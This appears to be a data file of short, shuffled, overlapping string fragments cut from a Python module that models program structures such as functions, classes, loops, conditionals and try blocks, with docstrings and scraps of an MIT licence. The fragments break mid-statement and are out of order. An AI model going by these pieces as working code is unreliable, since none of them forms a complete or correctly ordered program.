"self.variables = [] def _add(self, codeobj): \"\"\"Add a child (variable)", "= codeobj def _children(self): \"\"\"Yield all direct children of this", "This class is meant to represent a literal whose type", "the function in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id", "the object that contains the attribute this is a reference", "\"\"\" return pretty_str(self.expression, indent=indent) def __repr__(self): \"\"\"Return a string representation", "OR OTHER #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT", "list of references to it and a list of statements", "representation of this object.\"\"\" return '[class {}]'.format(self.name) class CodeNamespace(CodeEntity): \"\"\"This", "tree-like structure. Kwargs: indent (int): The number of indentation levels.", "def __init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor for function", "this object.\"\"\" return '[{}] {}'.format(self.result, self.name) class SomeValue(CodeExpression): \"\"\"This class", "tree. name (str): The name of the control flow statement", "direct children of this object.\"\"\" for codeobj in self.children: yield", "an exception is raised and handled). \"\"\" def __init__(self, scope,", "parent, result): \"\"\"Constructor for default arguments. Args: scope (CodeEntity): The", "\"\"\"Retrieves all descendants (including self) that are instances of a", "CodeBlock) self.finally_body = body def _children(self): \"\"\"Yield all direct children", "function. An operator typically has a name (its token), a", "for codeobj in self.body._children(): yield codeobj for codeobj in self.else_body._children():", "- n and k > -n: return self.body.statement(k) if k", "direct children of this object.\"\"\" for value in self.value: if", "the referenced entity is known, `reference` should be set. If", "indent condition = pretty_str(self.condition) pretty = '{}switch ({}):\\n'.format(spaces, condition) pretty", "file name, a line number, a column number, a programming", "self.value def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "in self.children: codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "must be contained within a function. An operator typically has", "program tree. id: An unique identifier for this variable. name", "arguments and a reference to the called function. If a", "of the most complex constructs of programming languages, so this", "parent (CodeEntity): This object's parent in the program tree. Kwargs:", "self def _add(self, codeobj): \"\"\"Add a child (function, variable, class)", "to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments +", "object.\"\"\" if self.field_of: yield self.field_of def pretty_str(self, indent=0): \"\"\"Return a", "'{} {}'.format(self.name, self.get_branches()) class CodeConditional(CodeControlFlow): \"\"\"This class represents a conditional", "a constructor.\"\"\" return self.result == self.name def _add(self, codeobj): \"\"\"Add", "indexing of program statements (as if using a list). \"\"\"", "self.value) class CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This class represents a program function.", "representation of this object.\"\"\" if self.value is not None: return", "\"Software\"), to deal #in the Software without restriction, including without", "spaces + 'try:\\n' pretty += self.body.pretty_str(indent=indent + 2) for block", "be statements on their own. A common example is the", "' * indent pretty = '{}namespace {}:\\n'.format(spaces, self.name) pretty +=", "THE SOFTWARE OR THE USE OR OTHER DEALINGS IN #THE", "= pretty_str(self.condition) pretty = '{}switch ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent", "given value is an instance of `CodeEntity` and `repr` otherwise.", "scope, parent) self._si = -1 @property def function(self): \"\"\"The function", "self.value = codeobj def _children(self): \"\"\"Yield all direct children of", "body.\"\"\" return [(self.condition, self.body)] def _set_condition(self, condition): \"\"\"Set the condition", "pretty_str(self.condition) pretty = '{}switch ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent +", "\"<=\", \">=\", \"==\", \"!=\", \"&&\", \"||\", \"=\") def __init__(self, scope,", "in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, 'literal', result, paren) self.value", "\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for try block structures.", "':\\n' if self.members: pretty += '\\n\\n'.join( c.pretty_str(indent + 2) for", "spaces to use as indentation. \"\"\" return '\\n\\n'.join( codeobj.pretty_str(indent=indent) for", "often return numbers or booleans. Some languages also support ternary", "to use as indentation. \"\"\" return '{}{} {} = {}'.format('", "block.\"\"\" assert isinstance(body, CodeBlock) self.body = body def _children(self): \"\"\"Yield", "(`result`), and it should indicate whether it is enclosed in", "to it. If a function is a method of some", "assert isinstance(codeobj, (CodeStatement, CodeExpression)) self.body._add(codeobj) def _children(self): \"\"\"Yield all direct", "\"\"\" if hasattr(self, '_fi'): return fi = 0 for codeobj", "a program function. A function typically has a name, a", "switch.\"\"\" self.default_case = statement def pretty_str(self, indent=0): \"\"\"Return a human-readable", "\"\"\"Return a string representation of this object.\"\"\" return repr(self.expression) class", "and often return numbers or booleans. Some languages also support", "is not self: pretty += spaces + ' [declaration]' else:", "codeobj.arguments[0].reference if isinstance(var, CodeVariable): var.writes.append(codeobj) def pretty_str(self, indent=0): \"\"\"Return a", "_set_increment(self, statement): \"\"\"Set the increment statement for this loop (e.g.", "has only a return type. \"\"\" def __init__(self, scope, parent,", "C++, but less explicit in many others. In Python, the", "a string representation of this object.\"\"\" return '#' + self.name", "a *member*/*field*/*attribute* of an object, `member_of` should contain a reference", "of the expression in the program. Kwargs: paren (bool): Whether", "is referencing), and a return type. If the referenced entity", "copy, modify, merge, publish, distribute, sublicense, and/or sell #copies of", "############################################################################### # Language Model ############################################################################### class CodeEntity(object): \"\"\"Base class for", "may also have an associated value (e.g. `return 0`). \"\"\"", "e.g. an `if` statement omitting curly braces in C, C++,", "indent pretty = '{}namespace {}:\\n'.format(spaces, self.name) pretty += '\\n\\n'.join(c.pretty_str(indent +", "composition.\"\"\" self.value.append(child) def _children(self): \"\"\"Yield all direct children of this", "`for`).\"\"\" assert isinstance(statement, CodeStatement) self.increment = statement statement.scope = self.body", "is any type of literal whose value is compound, rather", "'{{{}}}'.format(', '.join(map(pretty_str, self.value))) if self.parenthesis: return '{}({})'.format(indent, values) return '{}{}'.format(indent,", "_set_condition(self, condition): \"\"\"Set the condition for this control flow structure.\"\"\"", "method is being called. \"\"\" def __init__(self, scope, parent, name,", "__init__(self, scope, parent, id, name, result): \"\"\"Constructor for variables. Args:", "source() if isinstance(codeobj, cls) ] def _afterpass(self): \"\"\"Finalizes the construction", "a class constructor.\"\"\" return self.member_of is not None def _add(self,", "self.catches: for codeobj in catch_block._children(): yield codeobj for codeobj in", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.declarations,", "object's parent in the program tree. Kwargs: explicit (bool): Whether", "branch (*cases*) that execute when the evaluated value is equal", "amount of spaces to use as indentation. \"\"\" if self.parenthesis:", "k > o and k < n: return self.else_body.statement(k) if", "self, explicit=True) def _set_declarations(self, declarations): \"\"\"Set declarations local to this", "\"\"\"This class represents a default argument. Some languages, such as", "of this object.\"\"\" return '{} {}'.format(self.name, self.get_branches()) class CodeConditional(CodeControlFlow): \"\"\"This", "yield value def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "control flow structures. Args: scope (CodeEntity): The program scope where", "(str): The name of the function in the program. result", "namespace is a concept that is explicit in languages such", "while codeobj is not None and not isinstance(codeobj, cls): codeobj", "use as indentation. \"\"\" return (' ' * indent) +", "var = codeobj.arguments[0].reference if isinstance(var, CodeVariable): var.writes.append(codeobj) def pretty_str(self, indent=0):", "CodeLiteral.__init__(self, scope, parent, value, result, paren) @property def values(self): return", "and not isinstance(codeobj, cls): codeobj = codeobj.parent return codeobj def", "reference expression (e.g. to a variable). A reference typically has", "def __len__(self): \"\"\"Return the length of both branches combined.\"\"\" return", "for codeobj in self.body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return", "\"\"\" CodeExpression.__init__(self, scope, parent, '(default)', result) # ----- Statement Entities", "indentation. \"\"\" indent = ' ' * indent if self.value", "= ' ' * indent pretty = spaces + 'try:\\n'", "= ' ' * indent values = '{{{}}}'.format(', '.join(map(pretty_str, self.value)))", "to provide common utility methods for objects that group multiple", "* indent pretty = '{}({})' if self.parenthesis else '{}{}' if", "and a return type. If the referenced entity is known,", "params = ', '.join(map(lambda p: p.result + ' ' +", "an expression should indicate whether it is enclosed in parentheses.", "represents such omitted arguments. A default argument has only a", "many others. In Python, the closest thing should be a", "This object's parent in the program tree. Kwargs: explicit (bool):", "CodeReference(CodeExpression): \"\"\"This class represents a reference expression (e.g. to a", "SomeValue(\"string\") SomeValue.BOOL = SomeValue(\"bool\") class CodeLiteral(CodeExpression): \"\"\"Base class for literal", "a name (its token), a return type, and a tuple", "self.name) return '[{}] #{}'.format(self.result, self.name) class CodeOperator(CodeExpression): \"\"\"This class represents", "assumed to have, at least, one branch (a boolean condition", "the given value is an instance of `CodeEntity` and `repr`", "_afterpass(self): \"\"\"Assign a function-local index to each child object and", "identifier for this class. name (str): The name of the", "implementation might be lackluster. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor", "spaces to use as indentation. \"\"\" if self.parenthesis: return ('", "loop statement in the program. \"\"\" CodeControlFlow.__init__(self, scope, parent, name)", "should contain a reference to such object, instead of `None`.", "object.\"\"\" return '[{}] {} = ({})'.format(self.result, self.name, self.value) class CodeFunction(CodeEntity,", "string representation of this object.\"\"\" return '[{}] {} = ({})'.format(self.result,", "(str): The name of the control flow statement in the", "is None: codeobj._definition.member_of = self codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return", "this object.\"\"\" for codeobj in self.variables: yield codeobj def pretty_str(self,", "declaration statement contains a list of all declared variables. \"\"\"", "- o + n) raise IndexError('statement index out of range')", "yield self.increment for codeobj in self.body._children(): yield codeobj def pretty_str(self,", "being considered a statement themselves. Some languages allow blocks to", "isinstance(codeobj, CodeExpression) self.method_of = codeobj def _children(self): \"\"\"Yield all direct", "parent): \"\"\"Constructor for statements. Args: scope (CodeEntity): The program scope", "self.statement(i + 1) except IndexError as e: return None def", "'[{}] {}({})'.format(self.result, self.name, args) class CodeDefaultArgument(CodeExpression): \"\"\"This class represents a", "a type (`result`), and could be enclosed in parentheses. It", "representation of this object.\"\"\" if self.field_of: return '[{}] ({}).{}'.format(self.result, self.field_of,", "be defined to handle specific types of exceptions. Some languages", "{}({})'.format(self.result, self.name, params) class CodeClass(CodeEntity): \"\"\"This class represents a program", "root object of a program. If there are no better", "+ 2) pretty = '{}catch ({}):\\n{}'.format(spaces, decls, body) return pretty", "tree. id: An unique identifier for this function. name (str):", "to this object.\"\"\" assert isinstance(codeobj, (CodeNamespace, CodeClass, CodeFunction, CodeVariable)) self.children.append(codeobj)", "a class method, its `method_of` should be set to the", "', '.join(map(str, self.parameters)) return '[{}] {}({})'.format(self.result, self.name, params) class CodeClass(CodeEntity):", "in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.field_of", "to this object.\"\"\" assert isinstance(codeobj, (CodeStatement, CodeExpression)) self.body._add(codeobj) def _children(self):", "codeobj): \"\"\"Add a child (statement) to this object.\"\"\" assert isinstance(codeobj,", "Kwargs: paren (bool): Whether the expression is enclosed in parentheses.", "this block.\"\"\" return self.body[i] def _add(self, codeobj): \"\"\"Add a child", "parent in the program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, 'if')", "else None @property def is_definition(self): \"\"\"Whether this is a definition", "from, and not instantiated directly. An expression typically has a", "an indefinite value. Many programming languages have their own version", "or boolean, as bare Python literals are used for those.", "'{}({})' if self.parenthesis else '{}{}' name = ('{}.{}'.format(self.field_of.pretty_str(), self.name) if", "\"\"\"Return a string representation of this object.\"\"\" return '[namespace {}]'.format(self.name)", "`_afterpass()`. This should only be called after the object is", "if k < o - n and k > -n:", "+= '\\n\\n'.join(c.pretty_str(indent + 2) for c in self.children) return pretty", "has only a single branch, its condition plus the body", "def __init__(self, scope, parent): \"\"\"Constructor for try block structures. Args:", "(CodeEntity): This object's parent in the program tree. Kwargs: paren", "avoid creating a new list and # returning a custom", "self.line = None self.column = None def walk_preorder(self): \"\"\"Iterates the", "pretty_str(self.condition) v = self.declarations.pretty_str() if self.declarations else '' i =", "built. \"\"\" for codeobj in self.members: if not codeobj.is_definition: if", "merge, publish, distribute, sublicense, and/or sell #copies of the Software,", "type (`result`), and could be enclosed in parentheses. It does", "self.value))) class CodeReference(CodeExpression): \"\"\"This class represents a reference expression (e.g.", "name, a constant string is used instead. Args: scope (CodeEntity):", "\"\"\"This class represents a function call. A function call typically", "objects that group multiple program statements together (e.g. functions, code", "= self.body def _set_body(self, body): \"\"\"Set the main body of", "flow structures. Args: scope (CodeEntity): The program scope where this", "while being considered a statement themselves. Some languages allow blocks", "', '.join(map(pretty_str, self.arguments)) if self.method_of: call = '{}.{}({})'.format(self.method_of.pretty_str(), self.name, args)", "return type of the argument in the program. \"\"\" CodeExpression.__init__(self,", "a local variable. In general, a variable is *local* if", "This should only be called after the object is fully", "' * indent condition = pretty_str(self.condition) pretty = '{}switch ({}):\\n'.format(spaces,", "has an unique `id` that identifies it in the program", "many languages, statements must be contained within a function. An", "def _children(self): \"\"\"Yield all direct children of this object.\"\"\" if", "\"\"\" self.scope = scope self.parent = parent self.file = None", "__init__(self, scope, parent): \"\"\"Constructor for catch block structures.\"\"\" CodeStatement.__init__(self, scope,", "\"\"\" spaces = ' ' * indent pretty = spaces", "of the literal in the program. Kwargs: paren (bool): Whether", "p.name, self.parameters)) if self.is_constructor: pretty = '{}{}({}):\\n'.format(spaces, self.name, params) else:", "(bool): Whether the reference is enclosed in parentheses. \"\"\" CodeExpression.__init__(self,", "in.\"\"\" return self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement): \"\"\"This class represents a jump", "_add(self, codeobj): \"\"\"Add a child (namespace, function, variable, class) to", "expression statements. Args: scope (CodeEntity): The program scope where this", "Some languages, such as C, C++ or Java, consider this", "to have, at least, one branch (a boolean condition and", "parent, paren=False): \"\"\"Constructor for null literals. Args: scope (CodeEntity): The", "to any person obtaining a copy #of this software and", "The program scope where this object belongs. parent (CodeEntity): This", "self.arguments: if isinstance(codeobj, CodeExpression): yield codeobj def pretty_str(self, indent=0): \"\"\"Return", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.value,", "a function-local index to each child object and register write", "isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,) def _children(self): \"\"\"Yield", "represents a conditional (`if`). A conditional is allowed to have", "represent a literal whose type is not numeric, string or", "= -1 @property def function(self): \"\"\"The function where this statement", "executed after the other blocks (either the `try` block, or", "len(self.body) n = o + len(self.else_body) if k > 0:", "`try` block, or a `catch` block, when an exception is", "switch statement. A switch evaluates a value (its `condition`) and", "if self.is_binary: return '[{}] ({}){}({})'.format(self.result, self.arguments[0], self.name, self.arguments[1]) return '[{}]", "\"\"\"Helper class for catch statements within a try-catch block.\"\"\" def", "the operator in the program. result (str): The return type", "= ' ' * indent return spaces + ', '.join(v.pretty_str()", "result, paren) @property def values(self): return tuple(self.value) def _add_value(self, child):", "structure.\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.body = body", "return None def __getitem__(self, i): \"\"\"Return the *i*-th statement from", "in the program. Kwargs: paren (bool): Whether the reference is", "column number, a programming scope (e.g. the function or code", "empty iterator is returned. \"\"\" return iter(()) class CodeCompositeLiteral(CodeLiteral): \"\"\"This", "(the \"Software\"), to deal #in the Software without restriction, including", "'.join(self.superclasses) pretty += '(' + superclasses + ')' pretty +=", "self.parenthesis else '{}{}' args = ', '.join(map(pretty_str, self.arguments)) if self.method_of:", "or when the value is unknown). Additionally, a variable has", "* indent pretty = spaces + 'try:\\n' pretty += self.body.pretty_str(indent=indent", "that is no children. This class inherits from CodeLiteral just", "self.name + pretty_str(self.arguments[0]) else: operator = '{} {} {}'.format(pretty_str(self.arguments[0]), self.name,", "return pretty_str(self.value, indent=indent) def __repr__(self): \"\"\"Return a string representation of", "might be lackluster. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for", "Kwargs: args (tuple): Initial tuple of arguments. paren (bool): Whether", "associated with a condition.\"\"\" return self.condition, self.body @property def else_branch(self):", "result, paren) self.field_of = None self.reference = None def _set_field(self,", "\"\"\"Return a string representation of this object.\"\"\" return 'try {}", "the program tree. Kwargs: explicit (bool): Whether the block is", "corresponding class. \"\"\" def __init__(self, scope, parent, id_, name, definition=True):", "object's parent in the program tree. id: An unique identifier", "return 'try {} {} {}'.format(self.body, self.catches, self.finally_body) def pretty_str(self, indent=0):", "an object, `member_of` should contain a reference to such object,", "0 and i < n: if i < o: return", "CodeStatementGroup): \"\"\"Helper class for catch statements within a try-catch block.\"\"\"", "self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement): \"\"\"This class represents a jump statement (e.g.", "class in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id =", "unknown value for diverse primitive types.\"\"\" def __init__(self, result): \"\"\"Constructor", "no children, thus an empty iterator is returned. \"\"\" return", "name of the statement in the program. \"\"\" CodeStatement.__init__(self, scope,", "the program (useful to resolve references), a list of references", "is not meant to be instantiated directly, only used for", "amount of spaces to use as indentation. \"\"\" spaces =", "statement.scope = self.body def _children(self): \"\"\"Yield all direct children of", "+= '\\n{}else:\\n'.format(spaces) pretty += self.else_body.pretty_str(indent=indent + 2) return pretty class", "expression (CodeExpression): The expression of this statement. \"\"\" CodeStatement.__init__(self, scope,", "`while`, `for`). Some languages allow loops to define local declarations,", "CodeStatement(CodeEntity): \"\"\"Base class for program statements. Programming languages often define", "class represents a code block (e.g. `{}` in C, C++,", "codeobj def _afterpass(self): \"\"\"Call the `_afterpass()` of child objects. This", "in the program. Kwargs: args (tuple): Initial tuple of arguments.", "and i < n: if i < o: return self.body.statement(i)", "def then_branch(self): \"\"\"The branch associated with a condition.\"\"\" return self.condition,", "self.name, args) elif self.is_constructor: call = 'new {}({})'.format(self.name, args) else:", "codeobj in self.members: if not codeobj.is_definition: if not codeobj._definition is", "this is a function parameter.\"\"\" return (isinstance(self.scope, CodeFunction) and self", "string representation of this object.\"\"\" params = ', '.join(map(str, self.parameters))", "member/attribute of a class or object.\"\"\" return isinstance(self.scope, CodeClass) def", "result self.parameters = [] self.body = CodeBlock(self, self, explicit=True) self.member_of", "be included in #all copies or substantial portions of the", "name (str): The name of the reference in the program.", "directly, only used for inheritance purposes. It defines the length", "pretty = spaces + 'class ' + self.name if self.superclasses:", "codeobj): \"\"\"Add a child (value) to this object.\"\"\" assert isinstance(codeobj,", "represents a function call. A function call typically has a", "self.else_body.statement(k) return None def get_branches(self): \"\"\"Return a list with the", "global scope of a program. The global scope is the", "This object's parent in the program tree. \"\"\" CodeControlFlow.__init__(self, scope,", "not None def _add(self, codeobj): \"\"\"Add a child (statement) to", "= '{}namespace {}:\\n'.format(spaces, self.name) pretty += '\\n\\n'.join(c.pretty_str(indent + 2) for", "yield self for child in self._children(): for descendant in child.walk_preorder():", "if isinstance(codeobj, CodeOperator) and codeobj.is_assignment: if codeobj.arguments and isinstance(codeobj.arguments[0], CodeReference):", "`[1, 2, 3]`) and a type (`result`), and could be", "self.parameters = [] self.body = CodeBlock(self, self, explicit=True) self.member_of =", "diverse types of statements (e.g. return statements, control flow, etc.).", "name (e.g. the name of the function in a function", "self.else_body._add(body) def __len__(self): \"\"\"Return the length of both branches combined.\"\"\"", "def pretty_str(something, indent=0): \"\"\"Return a human-readable string representation of an", "composite literal is any type of literal whose value is", "WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN", "def __init__(self, scope, parent): \"\"\"Constructor for catch block structures.\"\"\" CodeStatement.__init__(self,", "<NAME> # #Permission is hereby granted, free of charge, to", "does not have a name. \"\"\" def __init__(self, scope, parent,", "p: p.result + ' ' + p.name, self.parameters)) if self.is_constructor:", "(inner class), it should have its `member_of` set to the", "variable is *local* if its containing scope is a statement", "in self.parameters: yield codeobj for codeobj in self.body._children(): yield codeobj", "a given class. Args: cls (class): The class to use", "function parameter.\"\"\" return (isinstance(self.scope, CodeFunction) and self in self.scope.parameters) @property", "is a statement (e.g. a block), or a function, given", "have some variable or collection holding this object. \"\"\" def", "for objects that group multiple program statements together (e.g. functions,", "(isinstance(self.scope, CodeFunction) and self in self.scope.parameters) @property def is_member(self): \"\"\"Whether", "spaces to use as indentation. \"\"\" return pretty_str(self.expression, indent=indent) def", "* indent) + '[empty]' def __repr__(self): \"\"\"Return a string representation", "* indent pretty = spaces + 'class ' + self.name", "copy #of this software and associated documentation files (the \"Software\"),", "literals have no name, a constant string is used instead.", "program tree. name (str): The name of the loop statement", "of this object.\"\"\" if self.field_of: yield self.field_of def pretty_str(self, indent=0):", "condition.\"\"\" return self.condition, self.body @property def else_branch(self): \"\"\"The default branch", "a program. The global scope is the root object of", "many types, including literal values, operators, references and function calls.", "class. \"\"\" def __init__(self, scope, parent, id, name, result, definition=True):", "support ternary operators. Do note that assignments are often considered", "on which a method is being called. \"\"\" def __init__(self,", "variable typically has a name, a type (`result`) and a", "'[{}] new {}({})'.format(self.result, self.name, args) if self.method_of: return '[{}] {}.{}({})'.format(self.result,", "a value (e.g. a list `[1, 2, 3]`) and a", "= ' ' * indent condition = pretty_str(self.condition) v =", "codeobj): \"\"\"Add a child (function, variable, class) to this object.\"\"\"", "= len(self.body) + len(self.catches) + len(self.finally_body) n += sum(map(len, self.catches))", "' ' * indent pretty = '{}({})' if self.parenthesis else", "the length of a statement group, and provides methods for", "@property def else_branch(self): \"\"\"The default branch of the conditional.\"\"\" return", "\"\"\"Return a minimal string to print a tree-like structure. Kwargs:", "be contained within a function. An operator typically has a", "i >= o - n: return self.else_body.statement(i) return self.body.statement(i -", "(including self) that are instances of a given class. Args:", "is not None: return '{} {}'.format(self.name, str(self.value)) return self.name class", "(codeobj,) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "numeric, string or boolean, as bare Python literals are used", "result (str): The return type of the argument in the", "return self.body.statement(i) def statement_after(self, i): \"\"\"Return the statement after the", "meant to represent a literal whose type is not numeric,", "typically has a name. \"\"\" def __init__(self, scope, parent, name):", "codeobj for codeobj in self.body._children(): yield codeobj def _afterpass(self): \"\"\"Assign", "if i >= 0 and i < n: if i", "codeobj def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "__init__(self, scope, parent): \"\"\"Constructor for try block structures. Args: scope", "self.method_of = None self.reference = None @property def is_constructor(self): \"\"\"Whether", "the statement group.\"\"\" return len(self.body) # ----- Common Entities -------------------------------------------------------", "assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass)) self.members.append(codeobj) codeobj.member_of = self def", "name self.arguments = () self.method_of = None self.reference = None", "walk_preorder(self): \"\"\"Iterates the program tree starting from this object, going", "the operator in the program. Kwargs: args (tuple): Initial tuple", "of some class, its `member_of` should be set to the", "the expression is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent,", "object, going down.\"\"\" yield self for child in self._children(): for", "switch evaluates a value (its `condition`) and then declares at", "def __repr__(self): \"\"\"Return a string representation of this object.\"\"\" params", "self.value is not None: return '{}{} {}'.format(indent, self.name, pretty_str(self.value)) return", "valid construct.\"\"\" return True def _children(self): \"\"\"Yield all direct children", "this conditional (the `else` branch).\"\"\" assert isinstance(body, CodeStatement) if isinstance(body,", "of the Software, and to permit persons to whom the", "as bare Python literals are used for those. A literal", "is explicit in the code. \"\"\" CodeStatement.__init__(self, scope, parent) self.body", "spaces = ' ' * indent pretty = spaces +", "CodeVariable)) self.children.append(codeobj) def _children(self): \"\"\"Yield all direct children of this", "expression occurs.\"\"\" return self._lookup_parent(CodeStatement) def pretty_str(self, indent=0): \"\"\"Return a human-readable", "k < 0: if k < o - n and", "a constant string is used instead. Args: scope (CodeEntity): The", "children of this object.\"\"\" if isinstance(self.value, CodeEntity): yield self.value def", "An operator typically has a name (its token), a return", "on which a method is called.\"\"\" assert isinstance(codeobj, CodeExpression) self.method_of", "flow statement in the program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name", "flow structure.\"\"\" assert isinstance(condition, CodeExpression.TYPES) self.condition = condition def _set_body(self,", "of superclasses, and a list of references. If a class", "given class. Args: cls (class): The class to use as", "the function in the program. result (str): The return type", "def _validity_check(self): \"\"\"Check whether this object is a valid construct.\"\"\"", "and function calls. This class is meant to be inherited", "yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "own, but also returns a value when contained within a", "pretty = '{}({})' if self.parenthesis else '{}{}' args = ',", "return self.name == \"=\" def _add(self, codeobj): \"\"\"Add a child", "\"\"\" return iter(()) class CodeCompositeLiteral(CodeLiteral): \"\"\"This class represents a composite", "True def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "for this control flow structure.\"\"\" assert isinstance(condition, CodeExpression.TYPES) self.condition =", "a child (value) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.value", "not meant to be instantiated directly, only used for inheritance", "parameters and a body (a code block). It also has", "*local* if its containing scope is a statement (e.g. a", "self.body = CodeBlock(scope, self, explicit=False) def get_branches(self): \"\"\"Return a list", "have no name, a constant string is used instead. Args:", "as indentation. \"\"\" if self.body: return '\\n'.join(stmt.pretty_str(indent) for stmt in", "catch_block): \"\"\"Add a catch block (exception variable declaration and block)", "name of the class in the program. \"\"\" CodeEntity.__init__(self, scope,", "of its arguments and a reference to the called function.", "self.name = name self.result = result self.value = None self.member_of", "= ', '.join(self.superclasses) pretty += '(' + superclasses + ')'", "assert isinstance(codeobj, CodeStatement) codeobj._si = len(self.body) self.body.append(codeobj) def _children(self): \"\"\"Yield", "program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name = name self.condition =", "self.children = [] def _add(self, codeobj): \"\"\"Add a child (namespace,", "hierarchy. It should have no children, thus an empty iterator", "function definition or just a declaration.\"\"\" return self._definition is self", "self.value = None def _add(self, codeobj): \"\"\"Add a child (value)", "an increment statement. A loop has only a single branch,", "\"\"\"Return a string representation of this object.\"\"\" if self.is_unary: return", "pretty += self.body.pretty_str(indent=indent + 2) return pretty class CodeTryBlock(CodeStatement, CodeStatementGroup):", "a name. In some cases, it may also have an", "i >= 0 and i < n: if i <", "try-catch block.\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for catch block", "', '.join(v.pretty_str() for v in self.variables) def __repr__(self): \"\"\"Return a", "in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.name = name", "return pretty ############################################################################### # Helpers ############################################################################### def pretty_str(something, indent=0): \"\"\"Return", "fi = 0 for codeobj in self.walk_preorder(): codeobj._fi = fi", "one branch (*cases*) that execute when the evaluated value is", "to each child object and register write operations to variables.", "object's parent in the program tree. result (str): The return", "it is enclosed in parentheses. \"\"\" def __init__(self, scope, parent,", "parentheses. \"\"\" CodeLiteral.__init__(self, scope, parent, None, 'null', paren) def _children(self):", "is known, `reference` should be set. If the reference is", "that group multiple program statements together (e.g. functions, code blocks).", "a definition or a declaration of the class.\"\"\" return self._definition", "= body def _add_catch(self, catch_block): \"\"\"Add a catch block (exception", "CodeStatement) self.declarations = declarations declarations.scope = self.body def _set_increment(self, statement):", "set to the corresponding class. \"\"\" def __init__(self, scope, parent,", "in self.else_body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable", "indent = ' ' * indent values = '{{{}}}'.format(', '.join(map(pretty_str,", "be unary or binary, and often return numbers or booleans.", "#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY", "of its arguments. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for", "this object.\"\"\" assert isinstance(codeobj, CodeVariable) self.variables.append(codeobj) def _children(self): \"\"\"Yield all", "a method of some class, its `member_of` should be set", "a program class for object-oriented languages. A class typically has", "represents a declaration statement. Some languages, such as C, C++", "expressions, and, as such, assignment operators are included here. An", "this loop (e.g. `for` variables).\"\"\" assert isinstance(declarations, CodeStatement) self.declarations =", "than simple. An example present in many programming languages are", "children of this object.\"\"\" if isinstance(self.declarations, CodeStatement): yield self.declarations for", "None @property def is_constructor(self): \"\"\"Whether the called function is a", "for codeobj in self.arguments: if isinstance(codeobj, CodeExpression): yield codeobj def", "(int, long, float, bool, basestring, SomeValue, CodeLiteral, CodeExpression) CodeExpression.LITERALS =", "statements are assumed to have, at least, one branch (a", "represents an indefinite value. Many programming languages have their own", "a return type, and a tuple of its arguments. \"\"\"", "o - n: return self.else_body.statement(i) return self.body.statement(i - o +", "this object.\"\"\" return '[{}] {{{}}}'.format(self.result, ', '.join(map(repr, self.value))) class CodeReference(CodeExpression):", "and a list of references to it. If a function", "and # returning a custom exception message. o = len(self.body)", "`pretty_str` if the given value is an instance of `CodeEntity`", "if self.is_unary: return '[{}] {}({})'.format(self.result, self.name, self.arguments[0]) if self.is_binary: return", "this object.\"\"\" if isinstance(self.expression, CodeExpression): yield self.expression def pretty_str(self, indent=0):", "use as indentation. \"\"\" return pretty_str(self.expression, indent=indent) def __repr__(self): \"\"\"Return", "so on. \"\"\" def __init__(self, scope, parent, paren=False): \"\"\"Constructor for", "values when not explicitly provided by the programmer. This class", "object.\"\"\" return '{} {}'.format(self.name, self.get_branches()) class CodeConditional(CodeControlFlow): \"\"\"This class represents", "+ 2) return pretty class CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents", "\"\"\"This class represents a conditional (`if`). A conditional is allowed", "the null literal is enclosed in parentheses. \"\"\" CodeLiteral.__init__(self, scope,", "starting from this object, going down.\"\"\" yield self for child", "assert isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,) def _children(self):", "The type of the variable in the program. \"\"\" CodeEntity.__init__(self,", "result): \"\"\"Constructor for default arguments. Args: scope (CodeEntity): The program", "assert isinstance(codeobj, (CodeNamespace, CodeClass, CodeFunction, CodeVariable)) self.children.append(codeobj) def _children(self): \"\"\"Yield", "paren) self.field_of = None self.reference = None def _set_field(self, codeobj):", "\"\"\"The function where this expression occurs.\"\"\" return self._lookup_parent(CodeFunction) @property def", "else: operator = '{} {} {}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1])) return pretty.format(indent,", "self.value = None self.member_of = None self.references = [] self.writes", "parent object that should have some variable or collection holding", "construct.\"\"\" return True def _children(self): \"\"\"Yield all direct children of", "\"\"\" def __init__(self, scope, parent): 